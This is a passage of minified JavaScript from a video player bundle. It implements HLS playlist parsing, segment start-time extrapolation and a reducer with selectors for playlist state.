h(n,t){if(u(n.segmentInfos)&&u(t.segmentInfos)){var f=t.segmentInfos[t.segmentInfos.length-1],o=e(t.segmentInfos,f.discontinuitySequenceNumber),i=t.segmentInfos[o],r=e(n.segmentInfos,i.discontinuitySequenceNumber);if(null!=r)return{index:r,startTime:i.startTime}}}function e(n,t){return u(n)?l.findIndexFromEnd(n,function(n){return Boolean(n.isDiscontinuityStart)&&n.discontinuitySequenceNumber===t}):-1}function u(n){if(!n.length)return!1;if(n[0].isDiscontinuityStart)return!0;var t=n[0],i=n[n.length-1];return t.discontinuitySequenceNumber!==i.discontinuitySequenceNumber}Object.defineProperty(t,"__esModule",{value:!0});t.hasDiscontinuityBoundary=t.findDiscontinuityBoundary=t.getStartTimeViaDiscontinuityBoundaries=t.getStartTimeExtrapolationReferencePoint=t.backwardExtrapolateSegmentStartTime=t.forwardExtrapolateSegmentStartTime=t.extrapolateStartTime=t.StartTimeExtrapolationDirection=void 0;var r,c=i(42055),l=i(81361),o=i(331),a=i(93326);!function(n){n.Backward="backward";n.Forward="forward";n.Bidirectional="Bidirectional"}(r||(t.StartTimeExtrapolationDirection=r={}));t.extrapolateStartTime=function(n,t,i){void 0===i&&(i=r.Bidirectional);i===r.Backward?f(n,t):(i===r.Forward||f(n,t),s(n,t))};t.forwardExtrapolateSegmentStartTime=s;t.backwardExtrapolateSegmentStartTime=f;t.getStartTimeExtrapolationReferencePoint=function(n,t,i){var f,e,u,r,s;return t.endList?{index:0,startTime:c.getStartTimeOffset(i)}:(u=n.segmentInfos[0],null==u?void 0:u.dateTime)?{index:0,startTime:o.toSeconds(u.dateTime.getTime())}:(r=a.getMostRecentlyRefreshedQuality(i),r&&(s=h(n,r),s))?s:{index:0,startTime:null!==(e=null===(f=null==r?void 0:r.segmentInfos[0])||void 0===f?void 0:f.startTime)&&void 0!==e?e:o.toSeconds(t.requestTimestamp)-t.totalDuration}};t.getStartTimeViaDiscontinuityBoundaries=h;t.findDiscontinuityBoundary=e;t.hasDiscontinuityBoundary=u},4383:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.WebWorkerParser=void 0;var r=function(){function n(n){var t=this,r;this.isParsing=!1;this.jobQueue=[];this.onWorkerMessage=function(n){var i=n.data,r,u;["parsedPlaylist","error"].includes(i.action)&&0!==t.jobQueue.length&&(r=t.jobQueue.shift(),("error"===i.action&&(null==r||r.rejectFn(i.data)),"parsedPlaylist"===i.action&&(null==r||r.resolveFn(i.data)),t.jobQueue.length>0)?(u=t.jobQueue[0],t.parsingWorker.postMessage(u.message)):t.isParsing=!1)};try{r=i(80211);this.parsingWorker=new r;this.parsingWorker.onmessage=this.onWorkerMessage}catch(t){n.warn("WebWorkerParser: Could not create web worker",t)}}return n.prototype.parsePlaylist=function(n){var t=this;return new Promise(function(i,r){var u={action:"parseHlsPlaylist",payload:{data:n}};t.jobQueue.push({resolveFn:i,rejectFn:r,message:u});t.isParsing||(t.isParsing=!0,t.parsingWorker.postMessage(u))})},n.getInstance=function(t){return n.instance||(n.instance=new n(t)),n.instance},n.instance=null,n}();t.WebWorkerParser=r},47967:function(n,t,i){"use strict";function f(n){var t="";return n.RESOLUTION&&(t+=n.RESOLUTION.height+"_"),t+n.BANDWIDTH}function e(n){var t;(null===(t=n.attributes)||void 0===t?void 0:t.IV)&&(n.attributes.IV=n.attributes.IV.toLowerCase(),"0x"===n.attributes.IV.substring(0,2)&&(n.attributes.IV=n.attributes.IV.substring(2)),n.attributes.IV=new Uint8Array(h.FormatHelper.hexToBytes(n.attributes.IV)).buffer)}function o(n){var i,r={width:0,height:0},t=null===(i=n.attributes)||void 0===i?void 0:i.RESOLUTION.split("x");return t[0]&&(r.width=parseInt(t[0])),t[1]&&(r.height=parseInt(t[1])),r}var u=this&&this.__assign||function(){return u=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},u.apply(this,arguments)};Object.defineProperty(t,"__esModule",{value:!0});t.generateCustomTag=t.generateMapTag=t.generateByteRangeTag=t.generateKeyTag=t.generateDateRange=t.generateCueTag=t.generateSegmentEntrySkeleton=t.generateIFrameStreamInfTag=t.generateSessionKeyTag=t.generateVariantPlaylistId=t.generateStreamInfTag=t.generateStartAttributes=t.generateRendition=void 0;var s=i(62510),r=i(91397),h=i(56093);t.generateRendition=function(n){var t,i,r;return{name:n.name,attributes:u(u({},n.attributes),{TYPE:null===(t=n.attributes)||void 0===t?void 0:t.TYPE,"GROUP-ID":null===(i=n.attributes)||void 0===i?void 0:i["GROUP-ID"],NAME:null===(r=n.attributes)||void 0===r?void 0:r.NAME})}};t.generateStartAttributes=function(n){var i,t;return(null===(i=n.attributes)||void 0===i?void 0:i.hasOwnProperty("TIME-OFFSET"))&&(t={timeOffset:Number(n.attributes["TIME-OFFSET"]),precise:"YES"===n.attributes.PRECISE}),n.attributes&&t&&t.hasOwnProperty("timeOffset")&&(n.attributes["TIME-OFFSET"]=t.timeOffset,n.attributes.PRECISE=t.precise),t};t.generateStreamInfTag=function(n,t){var r,e,s,h,c,i={name:n.name,uri:t,attributes:u(u({},n.attributes),{BANDWIDTH:null===(r=n.attributes)||void 0===r?void 0:r.BANDWIDTH})};return(null===(e=n.attributes)||void 0===e?void 0:e.RESOLUTION)&&(i.attributes.RESOLUTION=o(n)),(null===(s=n.attributes)||void 0===s?void 0:s.BANDWIDTH)&&(i.attributes.BANDWIDTH=parseInt(n.attributes.BANDWIDTH)),(null===(h=n.attributes)||void 0===h?void 0:h["AVERAGE-BANDWIDTH"])&&(i.attributes["AVERAGE-BANDWIDTH"]=parseInt(n.attributes["AVERAGE-BANDWIDTH"])),(null===(c=n.attributes)||void 0===c?void 0:c["PROGRAM-ID"])&&(i.attributes["PROGRAM-ID"]=parseInt(n.attributes["PROGRAM-ID"])),i.id=f(i.attributes),i};t.generateVariantPlaylistId=f;t.generateSessionKeyTag=function(n){e(n)};t.generateIFrameStreamInfTag=function(n){var t,i,r;(null===(t=n.attributes)||void 0===t?void 0:t.BANDWIDTH)&&(n.attributes.BANDWIDTH=parseInt(n.attributes.BANDWIDTH));(null===(i=n.attributes)||void 0===i?void 0:i["AVERAGE-BANDWIDTH"])&&(n.attributes["AVERAGE-BANDWIDTH"]=parseInt(n.attributes["AVERAGE-BANDWIDTH"],10));(null===(r=n.attributes)||void 0===r?void 0:r.RESOLUTION)&&(n.attributes.RESOLUTION=o(n))};t.generateSegmentEntrySkeleton=function(){return{uri:"",duration:0}};t.generateCueTag=function(n,t){var u={type:t},r,i,f;if(n.attributes){r=[];for(i in n.attributes)n.attributes.hasOwnProperty(i)&&(f=n.attributes[i]?"".concat(i,"=").concat(n.attributes[i]):i,r.push(f));u.attributes=r}return u};t.generateDateRange=function(n){var t={type:s.MetadataType.DATERANGE},u,i;if(n.attributes){t.clientAttributes={};u=n.attributes;for(i in u)u.hasOwnProperty(i)&&(i.startsWith("X-")?t.clientAttributes[r.kebabCaseToCamelCase(i.substring(2))]=u[i]:t[r.kebabCaseToCamelCase(i)]=u[i])}return t.duration&&(t.duration=Number(t.duration)),t.plannedDuration&&(t.plannedDuration=Number(t.plannedDuration)),t.endOnNext&&(t.endOnNext=!0),t};t.generateKeyTag=function(n){if(e(n),n.attributes&&"NONE"!==n.attributes.METHOD&&n.attributes.URI){var t={method:r.forceReallocation(n.attributes.METHOD)||"AES-128",uri:r.forceReallocation(n.attributes.URI)};return void 0!==n.attributes.IV&&(t.iv=n.attributes.IV),n.attributes.KEYFORMAT&&(t.keyformat=r.forceReallocation(n.attributes.KEYFORMAT)),n.attributes.KEYFORMATVERSIONS&&(t.keyformatversions=r.forceReallocation(n.attributes.KEYFORMATVERSIONS)),n.attributes.KEYID&&(t.keyid=r.forceReallocation(n.attributes.KEYID)),t}};t.generateByteRangeTag=function(n){if(n.value){var t=n.value.split("@"),u=t[0],i=t[1],r={length:parseInt(u||"0")};return i&&(r.offset=parseInt(i)),r}};t.generateMapTag=function(n){var t,i,u;if(null===(t=n.attributes)||void 0===t?void 0:t.URI){if(u={url:r.forceReallocation(n.attributes.URI)},null===(i=n.attributes)||void 0===i?void 0:i.BYTERANGE){var f=n.attributes.BYTERANGE.split("@"),o=f[0],e=f[1];u.byteRange={start:parseInt(e),end:parseInt(e)+parseInt(o)-1}}return u}};var c=/(?:^|,)((?:[^=]*)=(?:"[^"]*"|[^,]*))/,l=/([^=]*)=(.*)/,a=/^['"](.*)['"]$/,v=/^['"](.*)['"]$/g,y=/^([^:="]*)([:=])?(.*)$/;t.generateCustomTag=function(n){var t,u,i,f;try{return(n=r.forceReallocation(n),t=/^#([^:=]*)([:=])?(.*)$/.exec(n),!(null==t?void 0:t[1]))?void 0:(u={name:t[1]},i="","="===t[2]&&t[3]?i=t[3]:":"===t[2]&&t[3]&&(f=y.exec(t[3]),f&&"="===f[2]&&f[3]?u.attributes=function(n){for(var r,t=n.split(c),i=t.length,u={};i--;)if(""!==t[i]&&(r=l.exec(t[i]),r)){var f=r.slice(1),e=f[0],o=f[1];u[e.trim()]=o.trim().replace(a,"$1")}return u}(t[3]):i=t[3]),i&&(u.value=i.replace(v,"$1")),u)}catch(n){return}}},27485:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.TextParser=void 0;var i=/[ \t]+/gm,r=function(){function n(n){this.data=n;this.position=0}return n.prototype.isAtEnd=function(){return this.position===this.data.length},n.prototype.skipWhitespace=function(){this.readRegex(i)},n.prototype.readRegex=function(n){var t=this.indexOf(n);if(!this.isAtEnd()&&void 0!==t&&t.position===this.position)return this.position+=t.length,t.results},n.prototype.indexOf=function(n){n.lastIndex=this.position;var t=n.exec(this.data);if(null!==t)return{position:t.index,length:t[0].length,results:t}},n}();t.TextParser=r},59692:function(n,t,i){"use strict";function c(n,t){var i=r.generateCustomTag(t);i&&n.push(i)}Object.defineProperty(t,"__esModule",{value:!0});t.parsePlaylist=void 0;var u,f=i(56461),e=i(52600),o=i(55877),r=i(47967),s=/\r\n|\r(?=[^\n]|$)/gm,h=/^#EXTM3U($|[ \t\n])/m;!function(n){n.Master="master";n.Media="media"}(u||(u={}));t.parsePlaylist=function(n){var rt=-1===n.indexOf("#EXTINF")?u.Master:u.Media,l=n.replace(s,"\n").trim().split(/\n+/m),ut=f.removeTrailingWhitespaces(l[0]),v,it,t,b,k;if(!h.test(ut))throw new Error("Playlist parsing failed: missing #EXTM3U tag");if(rt===u.Media)return o.parseVariant(l);for(var y,i=[],d=[],p=[],g=1,nt=!0,tt=!1,w=!0,a=0;a<l.length;a++)if(v=f.removeTrailingWhitespaces(l[a]),it=l[a+1],f.isCustomTag(v))c(i,v);else if(w)w=!1;else{t=e.parseTag(v);switch(t.name){case"EXT-X-STREAM-INF":p.push(r.generateStreamInfTag(t,f.removeTrailingWhitespaces(it)));w=!0;break;case"EXT-X-MEDIA":b=r.generateRendition(t);d.push(b);i.push(b);break;case"EXT-X-VERSION":g=Number(t.value);break;case"EXT-X-START":y=r.generateStartAttributes(t);i.push(t);break;case"EXT-X-ALLOW-CACHE":nt="YES"===t.value||void 0===t.value;break;case"EXT-X-INDEPENDENT-SEGMENTS":tt=!0;i.push(t);break;case"EXT-X-I-FRAME-STREAM-INF":r.generateIFrameStreamInfTag(t);i.push(t);break;case"EXT-X-SESSION-DATA":default:i.push(t);break;case"EXT-X-SESSION-KEY":r.generateSessionKeyTag(t);i.push(t)}}return k={version:g,allowCache:nt,independentSegments:tt,hasM3u:!0,media:d,playlists:p,tags:i=i.concat(p)},y&&(k.start=y),k}},56461:function(n,t,i){"use strict";function s(n,t){void 0===n.tags&&(n.tags=[]);t&&n.tags.push(t)}function h(n,t,i){t.push({type:o.MetadataType.CUSTOM,attributes:i});s(n,r.generateCustomTag(i))}function v(n,t,i,r,u,o,s){n.duration=t;n.uri=f(i);r&&(n.init=r);s.length>0&&(n.customTags=s);u.keys.length>0&&(n.keys=e([],u.keys,!0),u.keyInUse=!0);o.push(n)}function y(n,t){t.keyInUse&&(t.keys=[],t.keyInUse=!1);var i=r.generateKeyTag(n);void 0!==i&&t.keys.push(i)}function p(n,t){t.value&&(n.dateTime=new Date(t.value))}function w(n,t){void 0===n.dateRange&&(n.dateRange=[]);n.dateRange.push(r.generateDateRange(t))}function b(n,t){var i;void 0===n.scte35&&(n.scte35=[]);n.scte35.push({type:o.MetadataType.SCTE,attributes:u({CUE:null===(i=t.attributes)||void 0===i?void 0:i.CUE},t.attributes)})}function f(n){return n.replace(/^[ \t]+/g,"")}function c(n){return/^#(?!EXT)/m.test(n)}var u=this&&this.__assign||function(){return u=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},u.apply(this,arguments)},e=this&&this.__spreadArray||function(n,t,i){if(i||2===arguments.length)for(var u,r=0,f=t.length;r<f;r++)!u&&r in t||(u||(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u||Array.prototype.slice.call(t))};Object.defineProperty(t,"__esModule",{value:!0});t.isCustomTag=t.removeTrailingWhitespaces=t.handleCustomTag=t.addCustomTagToPlaylistTagList=t.parseSegments=void 0;var o=i(62510),l=i(52600),a=i(55877),r=i(47967);t.parseSegments=function(n,t,i){for(var s,u,d,g,rt,ut=[],ft=0,o=r.generateSegmentEntrySkeleton(),k=e([],t,!0),nt=0,tt={keys:[],keyInUse:!1},ot=function(n){ft+=n;o=r.generateSegmentEntrySkeleton();k=[]},it=0,et=n;it<et.length;it++)if(s=f(et[it]),""!==s)if(s.startsWith("#"))if(c(s))h(i,k,s);else{u=l.parseTag(s);switch(u.name){case"EXTINF":nt=parseFloat(null!==(d=u.value)&&void 0!==d?d:"0");break;case"EXT-X-BYTERANGE":o.byterange=r.generateByteRangeTag(u);break;case"EXT-X-DISCONTINUITY":o.discontinuity=!0;break;case"EXT-X-PROGRAM-DATE-TIME":p(o,u);break;case"EXT-X-KEY":if("NONE"===(null===(g=u.attributes)||void 0===g?void 0:g.METHOD)){tt.keys=[];break}y(u,tt);break;case"EXT-X-MAP":rt=r.generateMapTag(u);break;case"EXT-X-DATERANGE":w(o,u);break;case"EXT-X-CUE-OUT-CONT":o.cueTag=r.generateCueTag(u,"CUE-OUT-CONT");break;case"EXT-X-CUE-OUT":o.cueTag=r.generateCueTag(u,"CUE-OUT");break;case"EXT-X-CUE-IN":o.cueTag=r.generateCueTag(u,"CUE-IN");break;case"EXT-X-SCTE35":b(o,u);break;case"EXT-X-ENDLIST":i.endList=!0;break;default:a.resolvePlaylistTag(i,u,k)}}else v(o,nt,s,rt,tt,ut,k),ot(nt);i.segments=ut;i.totalDuration=ft};t.addCustomTagToPlaylistTagList=s;t.handleCustomTag=h;t.removeTrailingWhitespaces=f;t.isCustomTag=c},52600:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.parseTag=void 0;var r=i(27485),u=/^#(EXT[^:]*)(?::(.*))?$/,f=/^([^,=]+)(?:,|$)/g,e=/([^=]+)=*(?:"([^"]*)"|([^",]*))(?:,|$)/g;t.parseTag=function(n){var o=u.exec(n),t,y,c,p;if(!o)throw new Error("Invalid tag "+n);var l,w=o[1],a=o[2],s={};if(a){var h=new r.TextParser(a),i=void 0,v=h.readRegex(f);for(v&&(l=v[1]);i=h.readRegex(e);)t=i[1],y=i[2]||i[3],t.includes(",")&&(c=t.split(","),p=c[0],t=c[1].trim(),s[p]=void 0),s[t]=y,h.skipWhitespace()}return{name:w,attributes:s,value:l}}},55877:function(n,t,i){"use strict";function f(n){var t;"EVENT"===n.playlistType&&(n.discontinuitySequence=null!==(t=n.discontinuitySequence)&&void 0!==t?t:0)}function e(n,t,i){switch(t.name){case"EXT-X-VERSION":n.version=Number(t.value);break;case"EXT-X-START":n.start=h.generateStartAttributes(t);break;case"EXT-X-INDEPENDENT-SEGMENTS":n.independentSegments=!0;break;case"EXT-X-TARGETDURATION":t.value&&(n.targetDuration=parseInt(t.value));break;case"EXT-X-MEDIA-SEQUENCE":t.value&&(n.mediaSequence=parseInt(t.value));break;case"EXT-X-DISCONTINUITY-SEQUENCE":t.value&&(n.discontinuitySequence=parseInt(t.value));break;case"EXT-X-PLAYLIST-TYPE":n.playlistType="EVENT"===t.value?"EVENT":"VOD";break;case"EXT-X-ALLOW-CACHE":n.allowCache="NO"!==t.value;break;case"EXTM3U":break;default:i.push(u({type:o.MetadataType.CUSTOM},t));r.addCustomTagToPlaylistTagList(n,t)}}var u=this&&this.__assign||function(){return u=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},u.apply(this,arguments)};Object.defineProperty(t,"__esModule",{value:!0});t.resolvePlaylistTag=t.parseVariant=t.SEGMENT_TAGS=void 0;var o=i(62510),r=i(56461),s=i(52600),h=i(47967);t.SEGMENT_TAGS=["EXTINF","EXT-X-BYTERANGE","EXT-X-DISCONTINUITY","EXT-X-PROGRAM-DATE-TIME","EXT-X-KEY","EXT-X-GAP","EXT-X-BITRATE","EXT-X-PART","EXT-X-DATERANGE","EXT-X-MAP","EXT-X-CUE-OUT-CONT","EXT-X-CUE-OUT","EXT-X-CUE-IN","EXT-X-SCTE35","EXT-X-DATERANGE"];t.parseVariant=function(n){for(var u,c,i={version:1,allowCache:!0,hasM3u:!0,endList:!1,segments:[],targetDuration:0,totalDuration:0},h=[],o=0;o<n.length;o++)if(u=r.removeTrailingWhitespaces(n[o]),""!==u)if(r.isCustomTag(u))r.handleCustomTag(i,h,u);else{if(c=s.parseTag(u),t.SEGMENT_TAGS.includes(c.name))return r.parseSegments(n.slice(o),h,i),f(i),i;e(i,c,h)}return f(i),i};t.resolvePlaylistTag=e},79367:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.setTimestampRolloverPositions=t.setPresentationTimeOffset=t.initSegmentStartTimesFromReferenceSegment=t.dropSegmentStartTimes=t.initSegmentStartTimes=t.updateDiscontinuityStartAndEndTimes=t.removeDroppedOutDiscontinuity=t.updatePlaylist=t.setCustomTags=t.setDefaultLanguages=t.setEndlist=t.setPlaylistType=t.setMasterPlaylistString=void 0;var r=i(15231),u=i(90993);t.setMasterPlaylistString=function(n){return r.createAction(u.HlsActionType.SetMasterPlaylistString,n)};t.setPlaylistType=function(n){return r.createAction(u.HlsActionType.SetPlaylistType,n)};t.setEndlist=function(n){return r.createAction(u.HlsActionType.SetEndlist,n)};t.setDefaultLanguages=function(n){return r.createAction(u.HlsActionType.SetDefaultLanguages,n)};t.setCustomTags=function(n){return r.createAction(u.HlsActionType.SetCustomTags,n)};t.updatePlaylist=function(n,t){return r.createAction(u.HlsActionType.UpdatePlaylist,{playlist:n,representation:t})};t.removeDroppedOutDiscontinuity=function(n,t){return r.createAction(u.HlsActionType.RemoveDroppedOutDiscontinuity,{discoSequences:n,representation:t})};t.updateDiscontinuityStartAndEndTimes=function(n,t){return r.createAction(u.HlsActionType.UpdateDiscontinuityStartAndEndTimes,{discoSequences:n,representation:t})};t.initSegmentStartTimes=function(n,t,i){return r.createAction(u.HlsActionType.InitSegmentStartTimes,{playlistId:n,segmentIndex:t,startTime:i})};t.dropSegmentStartTimes=function(){return r.createAction(u.HlsActionType.DropSegmentStartTimes)};t.initSegmentStartTimesFromReferenceSegment=function(n){return r.createAction(u.HlsActionType.InitSegmentStartTimesFromReferenceSegment,{playlistId:n.getRepresentationId().representationId,segmentUrl:n.getUrl(),segmentPlaybackTime:n.getPlaybackTime(),discontinuitySequenceNumber:n.getSegmentInfo().discontinuitySequenceNumber})};t.setPresentationTimeOffset=function(n,t){return r.createAction(u.HlsActionType.SetPresentationTimeOffset,{discoSequenceNumber:n,presentationTimeOffset:t})};t.setTimestampRolloverPositions=function(n,t){return r.createAction(u.HlsActionType.SetTimestampRolloverPositions,{next:n,previous:t})}},78148:function(n,t,i){"use strict";function v(n,t){var e,f=t.playlist,o=t.representation,i=o._id,c=f.startTime,a=f.totalDuration,u=n.playlists[i]?s([],n.playlists[i].segments,!0):[],v;return h.PlaylistUtils.removeDroppedOutSegments(u,f.segments,o.BaseURL[0].url),h.PlaylistUtils.addNewSegments(u,f.segments,o),function(n){if(!(n.length<1||null==n[0].startTime)){for(var i,t=n.length-1;t>=0;t--)if(null!=n[t].startTime){i=t;break}l(n,i)}}(u),v=n.playlists[i]?r(r({},n.playlists[i]),{segments:u,startTime:c,duration:a}):{segments:u,startTime:c,duration:a},r(r({},n),{playlists:r(r({},n.playlists),(e={},e[i]=v,e))})}function c(n,t){return{startTime:n,endTime:n+t}}function y(n,t){var s=t.discoSequences,f=t.representation,i=e.getPlaylistSegments(n,f._id),o=!n.endlist,u={},h=null==n?void 0:n.playlists[f._id];return i&&i.length?(s.forEach(function(t,r){var l,a,f=e.getDiscoSequenceTiming(n,String(t.id)),s=function(n,t,i,r){var f,u,e;return n.filter(function(n){return n.discontinuitySequenceNumber===t.id}).every(function(n){return null!=n.startTime})?{startTime:n[t.indexOfFirstSegment].startTime,endTime:n[t.indexOfLastSegment].startTime+n[t.indexOfLastSegment].duration}:(f=t.segments.reduce(function(n,t){return n+t.duration},0),u=n[t.indexOfFirstSegment-1],u&&null!=u.startTime)?c(u.startTime+u.duration,f):(e=r[t.id-1],c(null!=e?e.endTime:null!=(null==i?void 0:i.startTime)?i.startTime:0,f))}(i,t,h,u);f&&0!==(null==f?void 0:f.startTime)&&0!==r&&(s.startTime=o?f.startTime:Math.max(f.startTime,s.startTime));s.endTime=o?Math.max(null!==(l=null==f?void 0:f.endTime)&&void 0!==l?l:0,s.endTime):Math.min(null!==(a=null==f?void 0:f.endTime)&&void 0!==a?a:1/0,s.endTime);u[String(t.id)]=s}),r(r({},n),{discontinuitySequenceTiming:r(r({},n.discontinuitySequenceTiming),u)})):n}function o(n,t,i){var u=s([],n,!0);return u[t]=r({},u[t]),u[t].startTime=i,function(n,t){for(var i=t-1;i>=0;i--)n[i]=r({},n[i]),n[i].startTime=n[i+1].startTime-n[i].duration}(u,t),l(u,t),u}function l(n,t){for(var i=t+1;i<n.length;i++)n[i]=r({},n[i]),n[i].startTime=n[i-1].startTime+n[i-1].duration}var u,r=this&&this.__assign||function(){return r=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},r.apply(this,arguments)},s=this&&this.__spreadArray||function(n,t,i){if(i||2===arguments.length)for(var u,r=0,f=t.length;r<f;r++)!u&&r in t||(u||(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u||Array.prototype.slice.call(t))};Object.defineProperty(t,"__esModule",{value:!0});t.extrapolateSegmentStartTime=t.HlsReducer=void 0;var a=i(21829),h=i(53950),e=i(34435),f=i(90993);t.HlsReducer=a.default({masterPlaylist:{string:""},playlists:{},defaultLanguages:{},discontinuitySequenceTiming:{},presentationTimeOffsets:{},timestampRolloverPositions:{previous:-1,next:-1}},((u={})[f.HlsActionType.SetMasterPlaylistString]=function(n,t){return function(n,t){return n.masterPlaylist.string?n:r(r({},n),{masterPlaylist:{string:t}})}(n,t.payload)},u[f.HlsActionType.SetPlaylistType]=function(n,t){return function(n,t){return r(r({},n),{playlistType:t})}(n,t.payload)},u[f.HlsActionType.SetEndlist]=function(n,t){return function(n,t){return r(r({},n),{endlist:t})}(n,t.payload)},u[f.HlsActionType.SetDefaultLanguages]=function(n,t){return function(n,t){var i={},u={};return t.media.forEach(function(n){var f=Boolean(n.attributes);if(f){var e=n.attributes,t=e.TYPE,r=e.LANGUAGE;Boolean(r)&&null!=r&&(f&&"YES"===n.attributes.DEFAULT&&!i[t]&&(i[t]={name:n.attributes.NAME,language:r}),"YES"===n.attributes.AUTOSELECT&&!u[t]&&(u[t]={name:n.attributes.NAME,language:r}))}}),r(r({},n),{defaultLanguages:r(r({},u),i)})}(n,t.payload)},u[f.HlsActionType.SetCustomTags]=function(n,t){return function(n,t){var i=t;return r(r({},n),{customTags:i.tags})}(n,t.payload)},u[f.HlsActionType.UpdatePlaylist]=function(n,t){return v(n,t.payload)},u[f.HlsActionType.RemoveDroppedOutDiscontinuity]=function(n,t){return function(n,t){var o=t.discoSequences,s=t.representation,u=e.getPlaylistSegments(n,s._id),f,i;return!u||!u.length?n:(f=u[0].startTime,i={},o.forEach(function(t){var u=String(t.id),o=e.getDiscoSequenceTiming(n,u);null===o?i[u]=null:(f<o.endTime||null==f)&&(i[u]=r({},o))}),r(r({},n),{discontinuitySequenceTiming:i}))}(n,t.payload)},u[f.HlsActionType.UpdateDiscontinuityStartAndEndTimes]=function(n,t){return y(n,t.payload)},u[f.HlsActionType.InitSegmentStartTimes]=function(n,t){return function(n,t){var i,f=t.playlistId,s=t.segmentIndex,h=t.startTime,u=n.playlists[f],e;return u?(e=r(r({},u),{segments:o(u.segments,s,h)}),r(r({},n),{playlists:r(r({},n.playlists),(i={},i[f]=e,i))})):n}(n,t.payload)},u[f.HlsActionType.DropSegmentStartTimes]=function(n){return r(r({},n),{playlists:function(n){var t={};return Object.keys(n).forEach(function(i){t[i]=r(r({},n[i]),{segments:n[i].segments.map(function(n){return r(r({},n),{startTime:void 0})})})}),t}(n.playlists)})},u[f.HlsActionType.InitSegmentStartTimesFromReferenceSegment]=function(n,t){return function(n,t){var u,e=t.playlistId,h=t.segmentUrl,c=t.segmentPlaybackTime,l=t.discontinuitySequenceNumber,i=n.playlists[e],f,s;return!i||i.segments.length<1?n:null!=i.segments[0].startTime?n:(f=i.segments.findIndex(function(n){return h.includes(n.uri)&&l===n.discontinuitySequenceNumber}),f<0)?n:(s=r(r({},i),{segments:o(i.segments,f,c)}),r(r({},n),{playlists:r(r({},n.playlists),(u={},u[e]=s,u))}))}(n,t.payload)},u[f.HlsActionType.SetPresentationTimeOffset]=function(n,t){return function(n,t){var i,u=t.discoSequenceNumber,f=t.presentationTimeOffset;return r(r({},n),{presentationTimeOffsets:r(r({},n.presentationTimeOffsets),(i={},i[u]=f,i))})}(n,t.payload)},u[f.HlsActionType.SetTimestampRolloverPositions]=function(n,t){return function(n,t){return r(r({},n),{timestampRolloverPositions:t})}(n,t.payload)},u));t.extrapolateSegmentStartTime=o},34435:function(n,t){"use strict";function r(n){var t;return null!=(null===(t=n.segments[0])||void 0===t?void 0:t.startTime)||!1}var i=this&&this.__assign||function(){return i=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},i.apply(this,arguments)};Object.defineProperty(t,"__esModule",{value:!0});t.hasInitializedSegmentStartTimes=t.getPresentationTimeOffset=t.hasSegmentStartTimesForPlaylist=t.getStartTimeForSegment=t.getFirstDiscoSequenceTiming=t.getDiscoSequenceTimings=t.getDiscoSequenceTiming=t.getPlaylistStartTime=t.getPlaylistSegments=t.getPlaylist=t.hasPlaylist=t.getCustomTags=t.getDefaultLanguages=t.getEndlist=t.getPlaylistType=t.getHlsState=void 0;t.getHlsState=function(n){return n.hls};t.getPlaylistType=function(n){return n.playlistType};t.getEndlist=function(n){return n.endlist};t.getDefaultLanguages=function(n){return n.defaultLanguages};t.getCustomTags=function(n){return n.customTags};t.hasPlaylist=function(n,t){return Object.keys(n.playlists).includes(t)};t.getPlaylist=function(n,t){return n.playlists[t]};t.getPlaylistSegments=function(n,t){return n.playlists[t]?n.playlists[t].segments:[]};t.getPlaylistStartTime=function(n,t){return n.playlists[t]?n.playlists[t].startTime:0};t.getDiscoSequenceTiming=function(n,t){return n.discontinuitySequenceTiming[t]?i({},n.discontinuitySequenceTiming[t]):null};t.getDiscoSequenceTimings=function(n){return n.discontinuitySequenceTiming};t.getFirstDiscoSequenceTiming=function(n){var t=Object.keys(n.discontinuitySequenceTiming)[0];return null!=t?n.discontinuitySequenceTiming[t]:{startTime:0,endTime:0}};t.getStartTimeForSegment=function(n,t,i){var u=n.playlists[t],r;return u?(r=u.segments.find(function(n){return i.url.includes(n.uri)&&n.discontinuitySequenceNumber===i.discontinuitySequenceNumber}),r&&null!=r.startTime?r.startTime:u.startTime):null};t.hasSegmentStartTimesForPlaylist=function(n,t){var i=n.playlists[t];return Boolean(i)&&i.segments.length>0&&null!=i.segments[0].startTime};t.getPresentationTimeOffset=function(n,t){return Object.keys(n.presentationTimeOffsets).includes(t)?n.presentationTimeOffsets[t]:null};t.hasInitializedSegmentStartTimes=function(n){return Object.values(n.playlists).some(r)}},90993:function(n,t){"use strict";var i;Object.defineProperty(t,"__esModule",{value:!0});t.HlsActionType=void 0,function(n){n.SetMasterPlaylistString="@instance/hls/setmasterplayliststring";n.SetPlaylistType="@instance/hls/setplaylisttype";n.SetEndlist="@instance/hls/setendlist";n.SetDefaultLanguages="@instance/hls/setsefaultlanguages";n.SetCustomTags="@instance/hls/setsustomtags";n.UpdatePlaylist="@instance/hls/updatePlaylist";n.RemoveDroppedOutDiscontinuity="@instance/hls/removedroppedoutdiscontinuity";n.UpdateDiscontinuityStartAndEndTimes="@instance/hls/updatediscontinuitystartandendtimes";n.InitSegmentStartTimes="@instance/hls/initsegmentstarttimes";n.DropSegmentStartTimes="@instance/hls/dropsegmentstarttimes";n.InitSegmentStartTimesFromReferenceSegment="@instance/hls/initsegmentstarttimesfromreferencesegment";n.SetPresentationTimeOffset="@instance/hls/setpresentationtimeoffset";n.SetTimestampRolloverPositions="@instance/hls/settimestamprolloverpositions"}(i||(t.HlsActionType=i={}))},31043:function(n,t,i){"use 